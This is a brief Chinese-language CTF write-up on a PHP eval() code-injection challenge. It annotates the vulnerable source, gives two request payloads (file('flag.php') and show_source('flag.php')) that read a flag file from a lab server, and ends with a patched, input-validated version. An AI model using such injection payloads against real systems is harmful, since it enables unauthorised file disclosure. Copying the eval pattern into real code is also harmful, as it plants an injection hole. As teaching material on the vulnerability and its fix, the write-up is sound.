CTF--eval
一、原网页:
二、步骤:
1.代码分析:
<?phpinclude "flag.php"; // 引入一个文件,该文件可能定义了一些变量(例如 $flag)$a = @$_REQUEST['hello']; // 从用户请求中获取参数 'hello' 的值,并将其赋值给变量 $a// 使用 @ 抑制错误(如果 'hello' 参数不存在,不会报错)。eval( "var_dump($a);"); // 使用 eval() 执行动态生成的代码,// 将动态解析 $a 的内容,并将其作为 PHP 代码运行// eval() 是一个非常危险的函数,因为它会执行传入的字符串作为代码show_source(__FILE__); // 显示当前 PHP 文件的源代码// 这意味着攻击者可以直接看到整个文件的内容,包括敏感信息(如引入的 // flag.php 文件)
?>
2.通过hello参数传入代码:
117.72.52.127:12437/?hello=file('flag.php')
输入结果:
或者:
117.72.52.127:12437/?hello=show_source('flag.php')
输入结果:
三、修复代码漏洞:
源代码:
<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
?>
修复后的代码:
<?phpinclude "flag.php";$a = @$_REQUEST['hello']; if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);} else {echo "Invalid input.";}
?>
修复后的代码分析:
<?phpinclude "flag.php";$a = @$_REQUEST['hello'];// 从用户请求中获取参数 'hello' 的值,并进行验证。// 验证 $a 是否为字符串,并且只包含预期的字符(例如字母和数字)。if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);// 安全地输出变量 $a 的值。} else {echo "Invalid input.";}// 不要在生产环境中显示源代码。// show_source(__FILE__); // 已移除
?>